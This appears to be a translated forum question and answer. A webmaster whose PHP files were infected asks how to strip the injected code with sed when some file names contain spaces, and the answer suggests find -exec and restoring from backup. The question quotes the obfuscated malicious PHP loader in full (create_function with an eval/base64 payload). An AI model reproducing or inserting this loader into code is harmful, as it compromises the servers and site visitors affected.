SED 命令和带空格的文件名

SED 命令和带空格的文件名

我被黑客攻击了,因为我的 php 文件被感染了。

例子: http://www.nwww.ma.mk/oscommerce/configweb/apexfash-wp-blog.txt

错误代码:

<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZMmJhbDFjejhpciA9ICJceDYzXDE1N1x4NjRcMTQ1XHg3OFw2Mlx4MzIiOyBpZigkZXZhMWZZMmJhazFjejBpcigkZXZhMWZZMmJhbDFjejBpcikgJiYgIWlzc2V0KCRHTE9CQUxTWyRldmExZlkyYmFsMWN6OGlyXSkpIHsNCgkkR0xPQkFMU1skZXZhMWZZMmJhbDFjejhpcl09MTsgCWlmKCEkZXZhMWZZMmJhazFjejBpcigiXHg2NVwxNjZceDYxXDYxXHg2NlwxMzFceDMyXDE0Mlx4NjFcMTUzXHgzMVwxNDNceDU2XDYyXHg2OVwxNjIiKSkgeyBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjVcMTY2XHg2MVw2MVx4NjZcMTMxXHgzMlwxNDJceDYxXDE1M1x4MzFcMTQzXHg1Nlw2MFx4NjlcMTYyIikpIHsNCiBmdW5jdGlvbiBldmExZlkyYmFrMWNWMGlyKCkgew0KIC8vZWNobyBzdGFydA0KDQogaWYoIWlzc2V0KCRHTE9CQUxTWyJhZ2hleDAiXSkpIHsNCgkkR0xPQkFMU1siYWdoZXgwIl09MTsNCiAkZXZhbHNzc2dxdWxWQlR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MVx4MzJcMTQyXHg2MVwxNTNceDMxXDE0M1x4NTZcNjJceDY5XDE2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?>

我的 Bash 代码:

find /home/USER_NAME/domains/*/public_html/* -name '*.php' | xargs sed -i 's#<?php $zend_framework=.* ?>##g'

当我扫描带有空格的文件名时,出现错误:找不到此类文件或目录。例如,文件名:“index Progress.php”、“index info.php”和“index block.php”。

输出:

sed: cannot open index: No such file or directory
sed: cannot open progress.php: No such file or directory
sed: cannot open index: No such file or directory
sed: cannot open info.php: No such file or directory
sed: cannot open index: No such file or directory
sed: cannot open block.php: No such file or directory

任何人都可以帮助解决这个问题吗?

答案1

您应该从备份中恢复,而不是尝试清理。我仍然会解决有关xargs带有空格的文件的问题。该xargs命令将在空格上分割参数,除非您的版本支持-0并找到支持-print0。最简单的方法是使用-exec,它是 POSIX 并且可以在任何地方使用(注意:-iforsed不是 POSIX)。

find /home/USER_NAME/domains/*/public_html/* -name '*.php' -exec sed -i 's#<?php $zend_framework=.* ?>##g' {} \;

相关内容